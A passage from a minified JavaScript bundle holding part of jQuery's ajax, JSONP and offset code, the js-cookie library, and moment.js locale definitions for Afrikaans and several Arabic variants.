h.data),!1===h.cache&&(i=i.replace(Pt,"$1"),f=(Tt.test(i)?"&":"?")+"_="+Dt.guid+++f),h.url=i+f),h.ifModified&&(k.lastModified[i]&&L.setRequestHeader("If-Modified-Since",k.lastModified[i]),k.etag[i]&&L.setRequestHeader("If-None-Match",k.etag[i])),(h.data&&h.hasContent&&!1!==h.contentType||t.contentType)&&L.setRequestHeader("Content-Type",h.contentType),L.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]),h.headers)L.setRequestHeader(d,h.headers[d]);if(h.beforeSend&&(!1===h.beforeSend.call(m,L,h)||u))return L.abort();if(M="abort",y.add(h.complete),L.done(h.success),L.fail(h.error),n=Bt(Nt,h,t,L)){if(L.readyState=1,c&&p.trigger("ajaxSend",[L,h]),u)return L;h.async&&h.timeout>0&&(s=r.setTimeout((function(){L.abort("timeout")}),h.timeout));try{u=!1,n.send(b,Y)}catch(e){if(u)throw e;Y(-1,e)}}else Y(-1,"No Transport");function Y(e,t,o,l){var d,f,v,b,w,M=t;u||(u=!0,s&&r.clearTimeout(s),n=void 0,a=l||"",L.readyState=e>0?4:0,d=e>=200&&e<300||304===e,o&&(b=function(e,t,n){for(var r,i,a,o,s=e.contents,l=e.dataTypes;"*"===l[0];)l.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){l.unshift(i);break}if(l[0]in n)a=l[0];else{for(i in n){if(!l[0]||e.converters[i+" "+l[0]]){a=i;break}o||(o=i)}a=a||o}if(a)return a!==l[0]&&l.unshift(a),n[a]}(h,L,o)),!d&&k.inArray("script",h.dataTypes)>-1&&(h.converters["text script"]=function(){}),b=function(e,t,n,r){var i,a,o,s,l,u={},c=e.dataTypes.slice();if(c[1])for(o in e.converters)u[o.toLowerCase()]=e.converters[o];for(a=c.shift();a;)if(e.responseFields[a]&&(n[e.responseFields[a]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=a,a=c.shift())if("*"===a)a=l;else if("*"!==l&&l!==a){if(!(o=u[l+" "+a]||u["* "+a]))for(i in u)if((s=i.split(" "))[1]===a&&(o=u[l+" "+s[0]]||u["* "+s[0]])){!0===o?o=u[i]:!0!==u[i]&&(a=s[0],c.unshift(s[1]));break}if(!0!==o)if(o&&e.throws)t=o(t);else try{t=o(t)}catch(e){return{state:"parsererror",error:o?e:"No conversion from "+l+" to "+a}}}return{state:"success",data:t}}(h,b,L,d),d?(h.ifModified&&((w=L.getResponseHeader("Last-Modified"))&&(k.lastModified[i]=w),(w=L.getResponseHeader("etag"))&&(k.etag[i]=w)),204===e||"HEAD"===h.type?M="nocontent":304===e?M="notmodified":(M=b.state,f=b.data,d=!(v=b.error))):(v=M,!e&&M||(M="error",e<0&&(e=0))),L.status=e,L.statusText=(t||M)+"",d?_.resolveWith(m,[f,M,L]):_.rejectWith(m,[L,M,v]),L.statusCode(g),g=void 0,c&&p.trigger(d?"ajaxSuccess":"ajaxError",[L,h,d?f:v]),y.fireWith(m,[L,M]),c&&(p.trigger("ajaxComplete",[L,h]),--k.active||k.event.trigger("ajaxStop")))}return L},getJSON:function(e,t,n){return k.get(e,t,n,"json")},getScript:function(e,t){return k.get(e,void 0,t,"script")}}),k.each(["get","post"],(function(e,t){k[t]=function(e,n,r,i){return y(n)&&(i=i||r,r=n,n=void 0),k.ajax(k.extend({url:e,type:t,dataType:i,data:n,success:r},k.isPlainObject(e)&&e))}})),k.ajaxPrefilter((function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")})),k._evalUrl=function(e,t,n){return k.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){k.globalEval(e,t,n)}})},k.fn.extend({wrapAll:function(e){var t;return this[0]&&(y(e)&&(e=e.call(this[0])),t=k(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map((function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e})).append(this)),this},wrapInner:function(e){return y(e)?this.each((function(t){k(this).wrapInner(e.call(this,t))})):this.each((function(){var t=k(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)}))},wrap:function(e){var t=y(e);return this.each((function(n){k(this).wrapAll(t?e.call(this,n):e)}))},unwrap:function(e){return this.parent(e).not("body").each((function(){k(this).replaceWith(this.childNodes)})),this}}),k.expr.pseudos.hidden=function(e){return!k.expr.pseudos.visible(e)},k.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},k.ajaxSettings.xhr=function(){try{return new r.XMLHttpRequest}catch(e){}};var Ut={0:200,1223:204},Jt=k.ajaxSettings.xhr();_.cors=!!Jt&&"withCredentials"in Jt,_.ajax=Jt=!!Jt,k.ajaxTransport((function(e){var t,n;if(_.cors||Jt&&!e.crossDomain)return{send:function(i,a){var o,s=e.xhr();if(s.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(o in e.xhrFields)s[o]=e.xhrFields[o];for(o in e.mimeType&&s.overrideMimeType&&s.overrideMimeType(e.mimeType),e.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest"),i)s.setRequestHeader(o,i[o]);t=function(e){return function(){t&&(t=n=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?a(0,"error"):a(s.status,s.statusText):a(Ut[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=t(),n=s.onerror=s.ontimeout=t("error"),void 0!==s.onabort?s.onabort=n:s.onreadystatechange=function(){4===s.readyState&&r.setTimeout((function(){t&&n()}))},t=t("abort");try{s.send(e.hasContent&&e.data||null)}catch(e){if(t)throw e}},abort:function(){t&&t()}}})),k.ajaxPrefilter((function(e){e.crossDomain&&(e.contents.script=!1)})),k.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return k.globalEval(e),e}}}),k.ajaxPrefilter("script",(function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")})),k.ajaxTransport("script",(function(e){var t,n;if(e.crossDomain||e.scriptAttrs)return{send:function(r,i){t=k("<script>").attr(e.scriptAttrs||{}).prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&i("error"===e.type?404:200,e.type)}),v.head.appendChild(t[0])},abort:function(){n&&n()}}}));var Vt,Gt=[],Kt=/(=)\?(?=&|$)|\?\?/;k.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Gt.pop()||k.expando+"_"+Dt.guid++;return this[e]=!0,e}}),k.ajaxPrefilter("json jsonp",(function(e,t,n){var i,a,o,s=!1!==e.jsonp&&(Kt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Kt.test(e.data)&&"data");if(s||"jsonp"===e.dataTypes[0])return i=e.jsonpCallback=y(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,s?e[s]=e[s].replace(Kt,"$1"+i):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+i),e.converters["script json"]=function(){return o||k.error(i+" was not called"),o[0]},e.dataTypes[0]="json",a=r[i],r[i]=function(){o=arguments},n.always((function(){void 0===a?k(r).removeProp(i):r[i]=a,e[i]&&(e.jsonpCallback=t.jsonpCallback,Gt.push(i)),o&&y(a)&&a(o[0]),o=a=void 0})),"script"})),_.createHTMLDocument=((Vt=v.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(_.createHTMLDocument?((r=(t=v.implementation.createHTMLDocument("")).createElement("base")).href=v.location.href,t.head.appendChild(r)):t=v),a=!n&&[],(i=O.exec(e))?[t.createElement(i[1])]:(i=Le([e],t,a),a&&a.length&&k(a).remove(),k.merge([],i.childNodes)));var r,i,a},k.fn.load=function(e,t,n){var r,i,a,o=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),y(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),o.length>0&&k.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done((function(e){a=arguments,o.html(r?k("<div>").append(k.parseHTML(e)).find(r):e)})).always(n&&function(e,t){o.each((function(){n.apply(this,a||[e.responseText,t,e])}))}),this},k.expr.pseudos.animated=function(e){return k.grep(k.timers,(function(t){return e===t.elem})).length},k.offset={setOffset:function(e,t,n){var r,i,a,o,s,l,u=k.css(e,"position"),c=k(e),d={};"static"===u&&(e.style.position="relative"),s=c.offset(),a=k.css(e,"top"),l=k.css(e,"left"),("absolute"===u||"fixed"===u)&&(a+l).indexOf("auto")>-1?(o=(r=c.position()).top,i=r.left):(o=parseFloat(a)||0,i=parseFloat(l)||0),y(t)&&(t=t.call(e,n,k.extend({},s))),null!=t.top&&(d.top=t.top-s.top+o),null!=t.left&&(d.left=t.left-s.left+i),"using"in t?t.using.call(e,d):("number"==typeof d.top&&(d.top+="px"),"number"==typeof d.left&&(d.left+="px"),c.css(d))}},k.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each((function(t){k.offset.setOffset(this,e,t)}));var t,n,r=this[0];return r?r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===k.css(r,"position"))t=r.getBoundingClientRect();else{for(t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;e&&(e===n.body||e===n.documentElement)&&"static"===k.css(e,"position");)e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=k(e).offset()).top+=k.css(e,"borderTopWidth",!0),i.left+=k.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-k.css(r,"marginTop",!0),left:t.left-i.left-k.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map((function(){for(var e=this.offsetParent;e&&"static"===k.css(e,"position");)e=e.offsetParent;return e||oe}))}}),k.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},(function(e,t){var n="pageYOffset"===t;k.fn[e]=function(r){return q(this,(function(e,r,i){var a;if(g(e)?a=e:9===e.nodeType&&(a=e.defaultView),void 0===i)return a?a[t]:e[r];a?a.scrollTo(n?a.pageXOffset:i,n?i:a.pageYOffset):e[r]=i}),e,r,arguments.length)}})),k.each(["top","left"],(function(e,t){k.cssHooks[t]=Je(_.pixelPosition,(function(e,n){if(n)return n=Ue(e,t),Fe.test(n)?k(e).position()[t]+"px":n}))})),k.each({Height:"height",Width:"width"},(function(e,t){k.each({padding:"inner"+e,content:t,"":"outer"+e},(function(n,r){k.fn[r]=function(i,a){var o=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===a?"margin":"border");return q(this,(function(t,n,i){var a;return g(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(a=t.documentElement,Math.max(t.body["scroll"+e],a["scroll"+e],t.body["offset"+e],a["offset"+e],a["client"+e])):void 0===i?k.css(t,n,s):k.style(t,n,i,s)}),t,o?i:void 0,o)}}))})),k.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],(function(e,t){k.fn[t]=function(e){return this.on(t,e)}})),k.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),k.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),(function(e,t){k.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}));var Zt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;k.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),y(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||k.guid++,i},k.holdReady=function(e){e?k.readyWait++:k.ready(!0)},k.isArray=Array.isArray,k.parseJSON=JSON.parse,k.nodeName=j,k.isFunction=y,k.isWindow=g,k.camelCase=G,k.type=M,k.now=Date.now,k.isNumeric=function(e){var t=k.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},k.trim=function(e){return null==e?"":(e+"").replace(Zt,"")},void 0===(n=function(){return k}.apply(t,[]))||(e.exports=n);var Xt=r.jQuery,Qt=r.$;return k.noConflict=function(e){return r.$===k&&(r.$=Qt),e&&r.jQuery===k&&(r.jQuery=Xt),k},void 0===i&&(r.jQuery=r.$=k),k}))},6808:function(e,t,n){var r,i;!function(a){if(void 0===(i="function"==typeof(r=a)?r.call(t,n,t,e):r)||(e.exports=i),!0,e.exports=a(),!!0){var o=window.Cookies,s=window.Cookies=a();s.noConflict=function(){return window.Cookies=o,s}}}((function(){function e(){for(var e=0,t={};e<arguments.length;e++){var n=arguments[e];for(var r in n)t[r]=n[r]}return t}function t(e){return e.replace(/(%[0-9A-Z]{2})+/g,decodeURIComponent)}return function n(r){function i(){}function a(t,n,a){if("undefined"!=typeof document){"number"==typeof(a=e({path:"/"},i.defaults,a)).expires&&(a.expires=new Date(1*new Date+864e5*a.expires)),a.expires=a.expires?a.expires.toUTCString():"";try{var o=JSON.stringify(n);/^[\{\[]/.test(o)&&(n=o)}catch(e){}n=r.write?r.write(n,t):encodeURIComponent(String(n)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g,decodeURIComponent),t=encodeURIComponent(String(t)).replace(/%(23|24|26|2B|5E|60|7C)/g,decodeURIComponent).replace(/[\(\)]/g,escape);var s="";for(var l in a)a[l]&&(s+="; "+l,!0!==a[l]&&(s+="="+a[l].split(";")[0]));return document.cookie=t+"="+n+s}}function o(e,n){if("undefined"!=typeof document){for(var i={},a=document.cookie?document.cookie.split("; "):[],o=0;o<a.length;o++){var s=a[o].split("="),l=s.slice(1).join("=");n||'"'!==l.charAt(0)||(l=l.slice(1,-1));try{var u=t(s[0]);if(l=(r.read||r)(l,u)||t(l),n)try{l=JSON.parse(l)}catch(e){}if(i[u]=l,e===u)break}catch(e){}}return e?i[e]:i}}return i.set=a,i.get=function(e){return o(e,!1)},i.getJSON=function(e){return o(e,!0)},i.remove=function(t,n){a(t,"",e(n,{expires:-1}))},i.defaults={},i.withConverter=n,i}((function(){}))}))},958:function(e,t,n){"use strict";n.r(t)},157:function(e,t,n){"use strict";n.r(t)},1639:function(e,t,n){"use strict";n.r(t)},8749:function(e,t,n){"use strict";n.r(t)},2945:function(e,t,n){"use strict";n.r(t)},2404:function(e,t,n){"use strict";n.r(t)},2786:function(e,t,n){!function(e){"use strict";e.defineLocale("af",{months:"Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des".split("_"),weekdays:"Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag".split("_"),weekdaysShort:"Son_Maa_Din_Woe_Don_Vry_Sat".split("_"),weekdaysMin:"So_Ma_Di_Wo_Do_Vr_Sa".split("_"),meridiemParse:/vm|nm/i,isPM:function(e){return/^nm$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"vm":"VM":n?"nm":"NM"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Vandag om] LT",nextDay:"[Môre om] LT",nextWeek:"dddd [om] LT",lastDay:"[Gister om] LT",lastWeek:"[Laas] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oor %s",past:"%s gelede",s:"'n paar sekondes",ss:"%d sekondes",m:"'n minuut",mm:"%d minute",h:"'n uur",hh:"%d ure",d:"'n dag",dd:"%d dae",M:"'n maand",MM:"%d maande",y:"'n jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(381))},4130:function(e,t,n){!function(e){"use strict";var t=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},n={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},r=function(e){return function(r,i,a,o){var s=t(r),l=n[e][t(r)];return 2===s&&(l=l[i?0:1]),l.replace(/%d/i,r)}},i=["جانفي","فيفري","مارس","أفريل","ماي","جوان","جويلية","أوت","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-dz",{months:i,monthsShort:i,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:r("s"),ss:r("s"),m:r("m"),mm:r("m"),h:r("h"),hh:r("h"),d:r("d"),dd:r("d"),M:r("M"),MM:r("M"),y:r("y"),yy:r("y")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:0,doy:4}})}(n(381))},6135:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-kw",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:0,doy:12}})}(n(381))},6440:function(e,t,n){!function(e){"use strict";var t={1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9",0:"0"},n=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},r={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},i=function(e){return function(t,i,a,o){var s=n(t),l=r[e][n(t)];return 2===s&&(l=l[i?0:1]),l.replace(/%d/i,t)}},a=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar-ly",{months:a,monthsShort:a,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:i("s"),ss:i("s"),m:i("m"),mm:i("m"),h:i("h"),hh:i("h"),d:i("d"),dd:i("d"),M:i("M"),MM:i("M"),y:i("y"),yy:i("y")},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(381))},7702:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-ma",{months:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"احد_اثنين_ثلاثاء_اربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(n(381))},6040:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"};e.defineLocale("ar-sa",{months:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"يناير_فبراير_مارس_أبريل_مايو_يونيو_يوليو_أغسطس_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:0,doy:6}})}(n(381))},7100:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-tn",{months:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),monthsShort:"جانفي_فيفري_مارس_أفريل_ماي_جوان_جويلية_أوت_سبتمبر_أكتوبر_نوفمبر_ديسمبر".split("_"),weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[اليوم على الساعة] LT",nextDay:"[غدا على الساعة] LT",nextWeek:"dddd [على الساعة] LT",lastDay:"[أمس على الساعة] LT",lastWeek:"dddd [على الساعة] LT",sameElse:"L"},relativeTime:{future:"في %s",past:"منذ %s",s:"ثوان",ss:"%d ثانية",m:"دقيقة",mm:"%d دقائق",h:"ساعة",hh:"%d ساعات",d:"يوم",dd:"%d أيام",M:"شهر",MM:"%d أشهر",y:"سنة",yy:"%d سنوات"},week:{dow:1,doy:4}})}(n(381))},867:function(e,t,n){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},n={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},r=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},i={s:["أقل من ثانية","ثانية واحدة",["ثانيتان","ثانيتين"],"%d ثوان","%d ثانية","%d ثانية"],m:["أقل من دقيقة","دقيقة واحدة",["دقيقتان","دقيقتين"],"%d دقائق","%d دقيقة","%d دقيقة"],h:["أقل من ساعة","ساعة واحدة",["ساعتان","ساعتين"],"%d ساعات","%d ساعة","%d ساعة"],d:["أقل من يوم","يوم واحد",["يومان","يومين"],"%d أيام","%d يومًا","%d يوم"],M:["أقل من شهر","شهر واحد",["شهران","شهرين"],"%d أشهر","%d شهرا","%d شهر"],y:["أقل من عام","عام واحد",["عامان","عامين"],"%d أعوام","%d عامًا","%d عام"]},a=function(e){return function(t,n,a,o){var s=r(t),l=i[e][r(t)];return 